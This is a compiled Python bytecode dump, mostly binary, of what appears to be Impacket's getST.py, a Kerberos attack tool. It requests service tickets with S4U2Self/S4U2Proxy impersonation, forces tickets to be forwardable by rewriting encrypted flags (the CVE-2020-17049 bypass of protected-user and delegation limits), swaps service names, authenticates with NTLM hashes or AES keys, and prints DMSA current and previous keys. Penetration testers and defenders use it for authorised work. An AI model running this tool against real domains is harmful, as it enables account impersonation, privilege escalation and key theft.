o
    àý°jˆ·  ã                
   @   s¼  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
mZmZ d dlmZ d dlmZmZ d dlmZ d dlmZ d d	lmZ d d
lmZ d dlmZ d dlmZmZmZm Z  d dl!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1 d dl2m3Z3m4Z4 d dl5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z= d dl>m?Z?m@Z@mAZA d dlBmCZCmDZDmEZE d dlFmGZGmHZHm*Z* d dlImJZJ d dlKmLZL G dd„ dƒZMeNdkr\eOejPƒ ejQdddZReRjSdddd eRjSddd d eRjSd!dd"d eRjSd#d$d%d eRjSd&dd'd eRjSd(dd)d*d+ eRjSd,d$d-d eRjSd.d$d/d eRjSd0d1d$d2d3 eRjSd4d5d$d6d3 eRjSd7d$d8d eRjSd9d$d:d eR Td;¡ZUeUjSd<dd=d>d+ eUjSd?d$d@d eUjSdAd$dBd eUjSdCddDdEd+ eUjSdFddGdHd+ eVe	jWƒdIkr˜eR X¡  eOdJƒ eOdKƒ eOdLƒ e	 YdI¡ eR Z¡ Z[e[j\s«e[j]du r«eR ^dM¡ e[j\rºe[j_du rºeR ^dN¡ e[j\rÏe[j`durÏdOe[j`vrÏeR ^dP¡ e[jaduràe[j_du ràeR ^dQ¡ e[jbdur÷e[j\du r÷e[j_du r÷eR ^dR¡ e ce[jde[je¡ ee[jfe[jge[jhe[jie[jjƒ\ZkZlZmZnZne[_jekdSkr"e odT¡ e	 YdI¡ zeMelemeke[ƒZpep q¡  W dS  ery[ Zs ze t¡ juejvkrJd dlwZwew x¡  eOeyesƒƒ W Y dZs[sdS dZs[sww dS )Ué    )Údivision)Úprint_functionN)ÚhexlifyÚ	unhexlify)Úensure_binary)ÚdecoderÚencoder)ÚnoValue)Útag)Úversion)Úlogger)Úparse_identity)Ú	constantsÚtypesÚcryptoÚccache)ÚAP_REQÚAS_REPÚTGS_REQÚAuthenticatorÚTGS_REPÚseq_setÚseq_set_iterÚPA_FOR_USER_ENCÚTicketÚEncTGSRepPartÚPA_PAC_OPTIONSÚEncTicketPartÚ	S4UUserIDÚPA_S4U_X509_USERÚKERB_DMSA_KEY_PACKAGE)ÚCCacheÚ
Credential)ÚKeyÚ_enctype_tableÚ_HMACMD5Ú
_AES256CTSÚEnctypeÚstring_to_keyÚ_get_checksum_profileÚ	Cksumtype)ÚTicketFlagsÚencodeFlagsÚApplicationTagNumbers)ÚgetKerberosTGSÚgetKerberosTGTÚsendReceive)Ú	PrincipalÚKerberosTimer   )Úcompute_nthash)Úhexdumpc                   @   s4   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ ZdS )ÚGETSTc                 C   s€   || _ || _|| _d| _d| _|j| _|| _|j| _	|j
| _|j| _|j| _d | _|j| _|jd ur>|j d¡\| _| _d S d S )NÚ ú:)Ú_GETST__passwordÚ_GETST__userÚ_GETST__domainÚ_GETST__lmhashÚ_GETST__nthashÚaesKeyÚ_GETST__aesKeyÚ_GETST__optionsÚdc_ipÚ_GETST__kdcHostÚforce_forwardableÚ_GETST__force_forwardableÚadditional_ticketÚ_GETST__additional_ticketÚdmsaÚ_GETST__dmsaÚ_GETST__saveFileNameÚno_s4u2proxyÚ_GETST__no_s4u2proxyÚhashesÚsplit)ÚselfÚtargetÚpasswordÚdomainÚoptions© rR   ú…/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/getST.pyÚ__init__T   s    
ÿzGETST.__init__c                 C   s®  t ƒ }| jjd urftj|tƒ dd }|d d d }t|d d d ƒdkrNt d¡ t d|d  ¡ d	| jjvr@t	d
ƒ‚d|d }}|d d }n+t|d d d ƒdkrk|d d d \}}|d d }nt dd	 
|¡ ¡ t	dƒ‚d| jjv rÉ| jj d¡d  ¡ }	d|	vr“t d¡ d	| jjv r¶| jj d¡d  d	¡d }
| jj d¡d  d	¡d }nBt d| ¡ |}
| jj d¡d }n/t d| ¡ |}	d	| jjv rë| jj d	¡d }
| jj d	¡d }nt d| ¡ |}
| jj}t|ƒdkrd||f }nd|||f }d||
|	f }|  jd| d	d¡ 7  _t d||f ¡ ||d d d d< |
|d d d d< |	|d d< t |¡}| |||¡ |jD ]}|d  t|tjjjd¡ qSn]| |||¡ |jd }|d jd }d}t|d jƒdkr˜|d jd d }|d jd d }n	|d jd d }t|ƒdkr¯d||f }nd|||f }|  jd| d	d¡ 7  _t d| jd  ¡ | | jd ¡ d S )N©Úasn1Specr   ÚticketÚsnamezname-stringé   zxOriginal sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will failzOriginal sname is: %sú/zgSubstitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)r6   Úrealmé   zYOriginal sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...ú@Ú.z7New service realm is not FQDN, you may encounter errorsz:No service hostname in new SPN, using the current one (%s)z7No service realm in new SPN, using the current one (%s)z%s@%sz%s/%s@%sÚ_zChanging service from %s to %sÚserver©ÚtypeÚdatazSaving ticket in %sz.ccache)r!   r?   Ú
altservicer   Údecoder   ÚlenÚloggingÚdebugÚ
ValueErrorÚjoinrL   ÚupperrH   ÚreplaceÚinfor   ÚencodeÚfromTGSÚcredentialsÚfromPrincipalr1   r   ÚPrincipalNameTypeÚNT_PRINCIPALÚvaluer[   Ú
componentsÚsaveFile)rM   rW   Ú
sessionKeyr   Ú	decodedSTrX   Úservice_classÚservice_hostnameÚservice_realmÚnew_service_realmÚnew_service_hostnameÚnew_service_classÚcurrent_serviceÚnew_serviceÚcredsÚservicerR   rR   rS   Ú
saveTickete   s|   



 ÿ
zGETST.saveTicketc	           (      C   s@  t j |¡st d| ¡ tdƒ d S tj|tƒ dd }	t 	d| ¡ t
 |¡}
|
jd jd  ¡ }|
 | ¡ ¡}| |¡}tj|d tƒ dd }t ¡ jtjkr^t d¡ t| ¡ ƒ | jr™t|tƒrwzt|ƒ}W n	 tyv   Y nw t|tƒrŒzt|ƒ}W n	 ty‹   Y nw | jdkrà| jdkrà| jdkrà|s·t| jƒ}t ¡ jtjkr·t d	¡ tt |ƒ ¡ ƒ |sà| j !¡ | j }t"j#| j|d d
j$}t ¡ jtjkràt d¡ tt |ƒ ¡ ƒ |d d d }t%t&|d d d ƒ }|j't(j)krt*|j'|ƒ}nt*|j'|ƒ}| +|d|¡}tj|t,ƒ dd }t dt|d ƒ ¡ t d|d t-j.j/ dkr4dnd d ¡ t 	d¡ |d  0¡ }|d t-j.j/… d |t-j.j/d d …  }|d j1|d|d< t dt|d ƒ ¡ t d|d t-j.j/ dkr~dnd d ¡ t2 3|¡}| 4|d|d ¡}||d d d< t5ƒ }| 6|	d ¡ t5ƒ }| 6|d ¡ t7ƒ }d|d< t&t8j9j7j/ƒ|d< t:ƒ }t8 ;|¡|d< t<|d|j=ƒ t>ƒ }d|d < t|	d! ƒ|d!< t?ƒ }| 6|	d!d"¡ t<|d"|j@ƒ tAjA BtAjCjD¡}|jE|d#< tF =|¡|d$< t2 3|¡}| 4|d%|d ¡}tG|d&< |j'|d& d< ||d& d< t2 3|¡} tHƒ }!d|!d< t&t8j9jHj/ƒ|!d< tG|!d'< tG|!d' d< t&t8jIjJj/ƒ|!d' d d(< | |!d' d d)< tKƒ }"t8 ;t8jLjMj/f¡|"d< tG|!d' d< t8jIjKj/|!d' d d(< t2 3|"¡|!d' d d)< t<|!d*ƒ}#t:ƒ }| Nt8jOjPj/¡ | Nt8jOjQj/¡ | Nt8jOj.j/¡ | Nt8jOjRj/¡ t8 ;|¡|#d+< t?| jSjTt8jUjVj/d,}$t<|#d-|$j@ƒ | j|#d.< | =tWƒ ¡}%tX|#d/|%fƒ tAjA BtAjCjD¡tAjYdd0 }tF =|¡|#d1< tZ [d2¡|#d3< tX|#dt&t8j\j]j/ƒt&t8j\j^j/ƒt&t8j\j_j/ƒt&|j'ƒfƒ t2 3|!¡}&t 	d4¡ t`|&| j|ƒ}'|'d |d fS )5NzTicket %s doesn't existr   rU   z/	Using additional ticket %s instead of S4U2Selfr`   ÚKDC_REPr   r6   ÚNTHash©ÚparamsÚAESKeyrW   úenc-partÚcipherÚetyper\   ú%	Service ticket from S4U2self flags: Úflagsú 	Service ticket from S4U2self isrY   ú notú forwardableú-	Forcing the service ticket to be forwardableÚ1©rt   ú*	Service ticket flags after modification: ú	Service ticket now isé   Úpvnoúmsg-typeú
ap-optionsúauthenticator-vnoÚcrealmÚcnameÚcusecÚctimeé   ÚauthenticatorÚpadataúpadata-typeúpadata-valueúreq-bodyúkdc-optionsra   rX   r[   úadditional-tickets©ÚdaysÚtillé   ÚnonceúRequesting S4U2Proxy)aÚosÚpathÚisfilerg   ÚerrorÚexitr   re   r   rm   r!   ÚloadFilerp   ÚheaderÚprettyPrintÚgetCredentialÚtoTGSr   Ú	getLoggerÚlevelÚDEBUGrh   ÚprintrC   Ú
isinstanceÚstrr   Ú	TypeErrorr8   r:   r9   r3   r   rk   r&   r(   Úcontentsr$   ÚintÚenctyper'   ÚRC4r#   Údecryptr   r+   Úforwardablert   ÚasBinaryÚcloner   rn   Úencryptr   Ú	from_asn1r   r   r-   Úlistr,   r   Úto_asn1r   r1   Úcomponents_to_asn1ÚdatetimeÚnowÚtimezoneÚutcÚmicrosecondr2   r	   r   ÚPreAuthenticationDataTypesÚ
PA_TGS_REQr   ÚPAPacOptionsÚ%resource_based_constrained_delegationÚappendÚ
KDCOptionsÚcname_in_addl_tktÚcanonicalizeÚ	renewabler?   Úspnrr   ÚNT_SRV_INSTÚ
TicketAsn1r   Ú	timedeltaÚrandomÚgetrandbitsÚEncryptionTypesÚrc4_hmacÚdes3_cbc_sha1_kdÚdes_cbc_md5r0   )(rM   ÚtgtrŠ   ÚoldSessionKeyrw   Únthashr=   ÚkdcHostÚadditional_ticket_pathÚ
decodedTGTr   Ú	principalr   ÚTGSÚtgsÚsaltÚ
cipherTextÚ	newCipherÚkeyÚ	plainTextÚencTicketPartÚflagBitsÚencodedEncTicketPartÚ	ticketTGTrW   ÚapReqÚoptsr    Ú
clientNamerÌ   ÚencodedAuthenticatorÚencryptedEncodedAuthenticatorÚencodedApReqÚtgsReqÚpaPacOptionsÚreqBodyÚservice2ÚmyTicketÚmessageÚrrR   rR   rS   ÚdoS4U2ProxyWithAdditionalTicket¯   sþ   



ÿ
ÿ


ÿþ
(ÿþ





üÿ

z%GETST.doS4U2ProxyWithAdditionalTicketc           <   
   C   sL  t j|tƒ dd }tƒ }	|	 |d ¡ tƒ }
d|
d< ttjjj	ƒ|
d< t
ƒ }t |¡|
d< t|
d|	jƒ tƒ }d|d< t|d	 ƒ|d	< tƒ }| |d	d
¡ t|d
|jƒ tj tjj¡}|j|d< t |¡|d< t ¡ jtjkr€t d¡ t| ¡ ƒ tdƒ t  |¡}| !|d|d ¡}t"|
d< |j#|
d d< ||
d d< t  |
¡}t$ƒ }d|d< ttjj$j	ƒ|d< t"|d< t"|d d< ttj%j&j	ƒ|d d d< ||d d d< t| j'j(tj)j*j	d}t+ ,dtj)j*j	¡}|t-| j'j(ƒt-| j.ƒ d 7 }t ¡ jtjkrt d¡ t/|ƒ d }d }| j0rÁt1 2d¡}ddg}t|ƒ}t3ƒ }| 4d|¡ t|d
|jƒ | 4d	| j.¡ | 4d|¡ t  |¡}t5t6j7ƒ}| 8|tj9j	|¡}t ¡ jtjkr^t d¡ t/|ƒ t3ƒ j:t; <t;j=t;j>d¡d }| 4d|¡ t|d
|jƒ | 4d	| j.¡ | 4d|¡ t?ƒ }| 4d!|¡ t"|d"< t6j7|d" d#< ||d" d"< t ¡ jtjkr´t d$¡ t| ¡ ƒ ttj%j?j	ƒ}t  |¡}nct@ 8|d%|¡}t ¡ jtjkrÚt d¡ t/|ƒ tAƒ }t|d&|jƒ | j.|d'< t"|d(< ttjBjCj	ƒ|d( d#< ||d( d"< d)|d*< t ¡ jtjkrt d+¡ t| ¡ ƒ t  |¡} ttj%jDj	ƒ}| }t"|d d,< ||d d, d< ||d d, d< t|d-ƒ}!t
ƒ }| EtjFjGj	¡ | EtjFjHj	¡ | EtjFjIj	¡ | j'jJro| EtjFjKj	¡ | EtjFjLj	¡ t |¡|!d.< | jMr†| j'jNd ur†t Od/¡ | j0rŸtd0| j. tj)jPj	d}"t d1| j. ¡ n| j'jJr³t| jQ| j. R¡ tj)jSj	d}"n
t| jQtj)jSj	d}"t|!d2|"jƒ t|d	 ƒ|!d3< tj tjj¡tjTd,d4 }t |¡|!d5< t1 2d¡|!d< tU|!dt|j#ƒttjVjWj	ƒfƒ | j'jJrtU|!d6|	 tXƒ ¡fƒ t ¡ jtjkrt d7¡ t| ¡ ƒ t Od8| j'jJr&d9nd: ¡ t  |¡}#tY|#| j.|ƒ}$t j|$tZƒ dd }%| j0r;zÒt[t|%d; d ƒ }| \|d<|%d; d ¡}&t j|&t9ƒ dd }'t ¡ jtjkrst|' ¡ ƒ d=|'vs}|'d= s…t d>¡ W d S t d?¡ |'d= D ]†}(t|(d ƒ})t d@|)|)f ¡ |)tj%j]j	krt j|(d t]ƒ dd }*|* ¡  t OdA¡ |*dB D ]$}+t|+dC ƒ},t^|+dD ƒ}-t V|,¡}.t_|-ƒ dE¡}/t OdF|.|/f ¡ qÀt OdG¡ |*dH D ]$}+t|+dC ƒ},t^|+dD ƒ}-t V|,¡}.t_|-ƒ dE¡}/t OdF|.|/f ¡ qîqŽW n$ t`y: }0 zt ¡ jtjkr0dd la}1|1 b¡  W Y d }0~0nd }0~0ww | jMrE|$d |d fS t ¡ jtjkrYt dI¡ t|% ¡ ƒ | jcrŸtd|tƒrtzte|ƒ}W n
 tfys   Y nw td|tƒr‹zte|ƒ}W n
 tfyŠ   Y nw | jgd:kræ| j.d:kræ| jQd:kræ|s»th| jgƒ}t ¡ jtjkr»t dJ¡ tt_|ƒ ¡ ƒ |sæ| j. R¡ | jQ }2tijj| jg|2d dKjk}t ¡ jtjkræt dL¡ tt_|ƒ ¡ ƒ |%d d; d }3t[t|%d d; d ƒ }4|4j#tljmkrtn|4j#|ƒ}+ntn|4j#|ƒ}+|4 \|+d|3¡}&t j|&toƒ dd }5t dMt|5dN ƒ ¡ t dO|5dN tpjGj	 d,kr:d:ndP dQ ¡ t OdR¡ |5dN  q¡ }6|6d tpjGj	… dS |6tpjGj	d, d …  }6|5dN jr|6dT|5dN< t dUt|5dN ƒ ¡ t dV|5dN tpjGj	 d,kr„d:ndP dQ ¡ t  |5¡}7|4 !|+d|7d ¡}3|3|%d d; d< tƒ }8|8 |d ¡ tƒ }	|	 |%d ¡ tƒ }
d|
d< ttjjj	ƒ|
d< t
ƒ }t |¡|
d< t|
d|8jƒ tƒ }d|d< t|d	 ƒ|d	< tƒ }| |d	d
¡ t|d
|jƒ tj tjj¡}|j|d< t |¡|d< t  |¡}| !|d|d ¡}t"|
d< |j#|
d d< ||
d d< t  |
¡}t$ƒ }d|d< ttjj$j	ƒ|d< t"|d< t"|d d< ttj%j&j	ƒ|d d d< ||d d d< tsƒ }9t tjtjuj	f¡|9dN< t"|d d,< tj%jsj	|d d, d< t  |9¡|d d, d< t|d-ƒ}!t
ƒ }| EtjFjvj	¡ | EtjFjIj	¡ | EtjFjGj	¡ | EtjFjHj	¡ t |¡|!d.< t| j'jNtj)jPj	d}:t|!d2|:jƒ | j.|!d3< |	 tXƒ ¡};tU|!d6|;fƒ tj tjj¡tjTd,d4 }t |¡|!d5< t1 2d¡|!d< tU|!dttjVjWj	ƒttjVjwj	ƒttjVjxj	ƒt|j#ƒfƒ t  |¡}#t OdW¡ tY|#| j.|ƒ}$|$d |d fS )XNrU   r   rW   r–   r—   r˜   r™   rš   r›   rœ   r   rž   ÚAUTHENTICATORÚ
rŸ   r    r‹   rŠ   r¡   r¢   r£   ra   z<Is   KerberosÚS4UByteArrayrª   r\   é   r«   rQ   ÚCheckSum)ÚexplicitTagzuser-idÚchecksumÚ	cksumtypez Built PA_S4U_X509_USER for DMSA:é   ÚuserNameÚ	userRealmÚcksumÚKerberoszauth-packager   rY   r¤   r¥   z2When doing S4U2self only, argument -spn is ignoredz	krbtgt/%sz)DMSA: Targeting krbtgt/%s service (sname)rX   r[   r§   r©   r¦   z	Final TGSzRequesting S4U2self%sz+U2Ur6   r‰   é   Úencrypted_pa_dataz9No encrypted_pa_data found - DMSA key package not presentz:Found encrypted_pa_data, searching for DMSA key package...z&Found encrypted padata type: %d (0x%x)zCurrent keys:zcurrent-keysÚkeytypeÚkeyvaluezutf-8z%s:%szPrevious keys:zprevious-keysr   r…   r†   rˆ   rŒ   r   rŽ   r   r   r‘   r’   r“   r”   r•   r¬   )yr   re   r   r   rÇ   r   r¿   r   r-   rt   rÈ   r,   r   rÉ   r   r¼   r1   rÊ   rË   rÌ   rÍ   rÎ   rÏ   r2   rg   r·   r¸   r¹   rh   rº   r´   r   rn   rÆ   r	   rÀ   r   rÐ   rÑ   r?   Úimpersonaterr   rs   ÚstructÚpackr   r:   r4   rG   rÝ   rÞ   r   ÚsetComponentByNamer)   r*   ÚSHA1_AES256r	  r   Úsubtyper
   ÚTagÚtagClassContextÚtagFormatConstructedr   r%   r   ÚChecksumTypesÚhmac_md5ÚPA_FOR_USERrÔ   rÕ   rÃ   rØ   r×   Úu2uÚrenewable_okÚenc_tkt_in_skeyrJ   rÙ   rm   rÚ   r9   rk   Ú
NT_UNKNOWNrÜ   r   rß   rà   rÛ   r0   r   r$   rÂ   r    Úbytesr   Ú	ExceptionÚ	tracebackÚ	print_excrC   r»   r   r½   r8   r3   r&   r(   r¾   r'   rÁ   r#   r   r+   rÄ   rÅ   r   rÒ   rÓ   rÖ   rá   râ   )<rM   rã   rŠ   rä   rw   rå   r=   ræ   rè   rW   rõ   rö   r    r÷   rÌ   rø   rù   rú   rû   r  Ú	paencodedÚ
padatatypeÚnonce_valueÚ
dmsa_flagsÚencoded_flagsÚs4uIDÚencoded_s4uidÚchecksum_profileÚcheckSumÚs4uID_taggedÚpa_s4u_x509_userÚpaForUserEncÚencodedPaForUserEncrý   Ú
serverNamer   r  rë   rð   ÚencTgsRepPartÚpadata_entryÚpadata_typeÚdmsa_key_packagerï   Úkey_typeÚ	key_valueÚ	type_nameÚhex_keyÚer&  rì   rí   rî   rñ   rò   ró   rô   rü   rþ   rÿ   rR   rR   rS   ÚdoS4Um  sL  







ý









ÿ




þý



€è€ý
ÿÿ$


ÿþ
(ÿþ





üÿ

zGETST.doS4Uc              
   C   s:  d }t  | j¡\}}}}|d ur |d |d |d }}}|}|d u rWt| jtjjjd}t	 
d¡ t|| j| jt| jƒt| jƒ| j| jƒ\}}}}t	 dt|jƒ ¡  ¡ | jjd u r| jjdu rit	 
d¡ nt	 
d	¡ t| jjtjjjd}	t|	|| j|||| jjƒ\}
}}}| j| _n†z;t	 
d
| jj ¡ | jd urµ|  ||||t| jƒ| j| j| j¡\}
}}}n|  ||||t| jƒ| j| j¡\}
}}}W nE t y } z8t	jddd t	 !t"|ƒ¡ t"|ƒ #d¡dkròt	 !d| j ¡ t"|ƒ #d¡dkrt	 !d| j ¡ W Y d }~d S d }~ww | jj| _|  $|
|¡ d S )Nr„   rŠ   rw   ra   zGetting TGT for userzTGT session key: %sTzRenewing TGTzGetting ST for userzImpersonating %sr%  )Úexc_infoÚKDC_ERR_S_PRINCIPAL_UNKNOWNr   zdProbably user %s does not have constrained delegation permisions or impersonated user does not existÚKDC_ERR_BADOPTIONzQProbably SPN is not allowed to delegate by user %s or initial TGT not forwardable)%r!   Ú	parseFiler:   r1   r9   r   rr   rs   rt   rg   rm   r/   r8   r   r;   r<   r>   rA   rh   r   r¾   re   r?   r  ÚrenewrÙ   rÚ   r.   rH   rE   r  r?  r%  r°   r¼   Úfindrƒ   )rM   rã   rP   r_   ÚTGTrŠ   rw   rä   r  r5  rë   r>  rR   rR   rS   Úrun  sR   
ý
"

ÿ(€€ø
	z	GETST.runN)Ú__name__Ú
__module__Ú__qualname__rT   rƒ   r  r?  rG  rR   rR   rR   rS   r5   S   s    J ?   #r5   Ú__main__TzXGiven a password, hash or aesKey, it will request a Service Ticket and save it as ccache)Úadd_helpÚdescriptionÚidentityÚstorez[domain/]username[:password])ÚactionÚhelpz-spnzSSPN (service/server) of the target service the service ticket will be generated forz-altservicez"New sname/SPN to set in the ticketz-dmsaÚ
store_truez.Use DMSA (Delegated Managed Service Accounts) z-impersonatezÆtarget username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specifiedz-additional-ticketzticket.ccachezXinclude a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only)rP  ÚmetavarrQ  z-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-u2ur   zRequest User-to-User ticket)ÚdestrP  rQ  z-selfrI   zOnly do S4U2self, no S4U2proxyz-force-forwardablea)  Force the service ticket obtained through S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the specified -identity should be provided. This allows impresonation of protected users and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049z-renewzfSets the RENEW ticket option to renew the TGT used for authentication. Set -spn to 'krbtgt/DOMAINFQDN'Úauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-dc-ipz
ip addresszoIP Address of the domain controller. If omitted it use the domain part (FQDN) specified in the target parameterrY   z
Examples: z@	./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user
ze	it will use the lm:nt hashes for authentication. If you don't specify them, a password will be askedz3argument -spn is required, except when -self is setz5argument -impersonate is required when doing S4U2selfrZ   zWhen doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)z6argument -impersonate is required when doing S4U2proxyzc-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticketr6   zDomain should be specified!)zÚ
__future__r   r   ÚargparserË   rg   r­   rÝ   r  ÚsysÚbinasciir   r   Úsixr   Úpyasn1.codec.derr   r   Úpyasn1.type.univr	   Úpyasn1.typer
   Úimpacketr   Úimpacket.examplesr   Úimpacket.examples.utilsr   Úimpacket.krb5r   r   r   r   Úimpacket.krb5.asn1r   r   r   r   r   r   r   r   r   rÛ   r   r   r   r   r   r    Úimpacket.krb5.ccacher!   r"   Úimpacket.krb5.cryptor#   r$   r%   r&   r'   r(   r)   r*   Úimpacket.krb5.constantsr+   r,   r-   Úimpacket.krb5.kerberosv5r.   r/   r0   Úimpacket.krb5.typesr1   r2   Úimpacket.ntlmr3   Úimpacket.winregistryr4   r5   rH  rº   ÚBANNERÚArgumentParserÚparserÚadd_argumentÚadd_argument_groupÚgrouprf   ÚargvÚ
print_helpr±   Ú
parse_argsrQ   rI   rÙ   r°   r  rd   rD   r   ÚinitÚtsrh   rN  rK   Úno_passr=   ÚkrP   ÚusernamerO   r_   ÚcriticalÚexecuterrG  r%  r>  r·   r¸   r¹   r&  r'  r¼   rR   rR   rR   rS   Ú<module>   s®   3D(     
y






$
(


€û³